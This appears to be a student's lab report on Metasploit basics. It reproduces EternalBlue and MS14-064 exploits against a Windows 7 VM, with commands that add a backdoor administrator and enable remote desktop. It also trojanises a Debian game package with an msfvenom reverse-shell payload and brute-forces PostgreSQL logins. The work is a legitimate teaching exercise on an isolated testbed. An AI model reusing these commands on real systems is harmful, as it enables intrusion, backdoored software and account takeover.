175210 Exp6 MSF基础应用

实践过程

一、主动攻击的实践

MS17-010 (永恒之蓝)实现 Windows Getshell

漏洞复现环境

  • 渗透机 parrot linux
  • 靶机 windows 7 (关防火墙)

流程

1、进入MSF框架,搜索 ms17-010 模块

其中 auxiliary/scanner/smb/smb_ms17_010 是永恒之蓝扫描模块,exploit/windows/smb/ms17_010_eternalblue 是永恒之蓝渗透代码,前者先扫描,若显示有漏洞,再进行渗透。

2、使用扫描模块扫描漏洞
use auxiliary/scanner/smb/smb_ms17_010 
set RHOSTS 192.168.131.140
run 

截图中 Host is likely vulnerable to ms17-010,表明存在风险漏洞

3、使用渗透模块进行渗透
use exploit/windows/smb/ms17_010_eternalblue 
set RHOST 192.168.131.140
exploit 

可以看到直接获得了 windows7 的 shell

4、通过 shell 远程桌面 windows7
创建用户名密码 
blue/blue  net user blue blue /add 
将用户blue添加入管理组  
net localgroup administrators blue /add 
开启远程桌面功能  
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 

打开新的终端,切换为 root 用户,输入
rdesktop 192.168.131.140:3389
成功远程连接 windows7

二、针对浏览器的攻击实践

ms14_064

漏洞复现环境

  • 渗透机 parrot linux
  • 靶机 windows 7 (关防火墙)

流程

1、搜索 ms14_064 模块
search ms14_064

可以看到第一个模块和浏览器有关,就选它了

2、发起攻击
use exploit/windows/browser/ms14_064_ole_code_execution 
set payload windows/meterpreter/reverse_tcp 
set SRVHOST 192.168.131.129
set LHOST 192.168.131.129
set LPORT 5223
exploit

可以看到恶意服务开启在 8080 端口, Using URL 就是 IE 浏览器要打开的 url

3、靶机用IE访问这个url后就会执行我们的恶意代码,建立新的连接。sessions -i 1进入新建的会话,成功获取shell

三、针对客户端的攻击

deb 包诱骗

实验环境

  • parrot 攻击机
  • parrot home 靶机

流程

一、下载 deb 包
  • 这里我下载 freesweep (一款终端小游戏),使用 --download-only 命令让其不安装
    sudo apt-get --download-only install freesweep
    
  • cd /var/cache/apt/archives/,我们可以看到下载好的 deb 包:freesweep_1.0.1-1_amd64.debcp 到自己的工作目录下
二、修改 deb 包
  • 解压 deb

    sudo dpkg -x freesweep_1.0.1-1_amd64.deb free
    
    解压包,把解压的文件放在free这个目录
    
  • 新建 DEBIAN 目录

    cd free
    mkdir DEBIAN
    
    安装 deb 包时会读取,执行 DEBIAN 内的文件
    
  • 编写脚本文件

    DEBIAN 目录下创建 controlpostinst 两文件

    touch control && touch postinst
    

    control 文件存放包的描述信息,如下

    需要注意的是,Architecture 一栏要填写目标机器的处理器架构,否则无法安装

    postinst 是一个脚本文件,里面的内容在 deb 包安装时会执行

    将以下内容写入 postinst

    #!/bin/bash
    sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &
    

    注意,这里的 /usr/games 不是根目录下的 /usr,是指 deb 在安装时会执行 安装包下的/usr目录中的文件

    所以我们将 payload 附加到 deb 包 /usr/games/ 目录下的可执行文件后面即可

    msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=192.168.131.129 LPORT=4444 -b "\x00" -f elf -o /home/mt/mycs/free/usr/games/freesweep _scores_
    

  • 重新打包

    先要赋予 postinst 可执行的权限

    sudo chmod 755 postinst
    

    使用 sudo dpkg-deb --build /home/mt/mycs/free 命令打包

至此,修改 deb 包成功

三、监听并获得 shell
  • 攻击机打开监听

  • 另一台 linux (parrot home) 安装 deb

    dpkg -i free.deb
    

    可以发现像正常软件一样安装成功(图中的 Freesweep)

  • 获得 shell

    deb 包被安装,我的攻击机显示建立了一个新的会话

    输入 ls ,发现已经获得了目标机的 shell

四、成功应用任何一个辅助模块

不管选哪个模块,攻击哪种服务,我都要先把自己的密码改为 postgres 式的弱口令……

渗透攻击PostgreSQL数据库服务

  • postgresql 数据库的密码改为 postgres,为了能爆破成功

    su postgres
    psql
    ALTER USER postgres WITH PASSWORD 'postgres';
    
  • search postgres type:auxiliary 查找可用模块

  • use auxiliary/scanner/postgres/postgres_login 进入模块

  • set RHOSTS 192.168.131.130,设置爆破的主机

  • exploit

    我们可以看到 postgres:postgres,即用户 postgres的密码是 postgres

看起来很酷,但是没有实际价值。还有攻击 mysqlssh 之类的,也都是穷举爆破。

实践总结与体会

基础问题问答

1、用自己的话解释什么是exploit, payload, encode

  • exploit: 渗透攻击,通过寻找并利用靶机的漏洞实现非授权行为甚至直接完全取得被攻击机的控制权

  • payload:载荷,有效负载。实现非授权操作时执行攻击代码的那部分,可以是一段代码

  • encode:编码。在之前的实验中曾利用encode寻求后门程序的免杀

2、离实战还缺些什么技术或步骤

  • 实验中防火墙处于关闭状态,实战要绕过防火墙
  • 实验中攻击的漏洞在现实中早有了补丁,实战要挖掘新的漏洞
  • 针对客户端的攻击中,我们如何才能让对方下载并安装含有后门的软件?这就是社会工程学的内容了

实验体会

设置强度较高的密码,拒绝来源不明的软件很有必要。

posted @ 2020-05-02 21:34  175210闵天  阅读(69)  评论(0编辑  收藏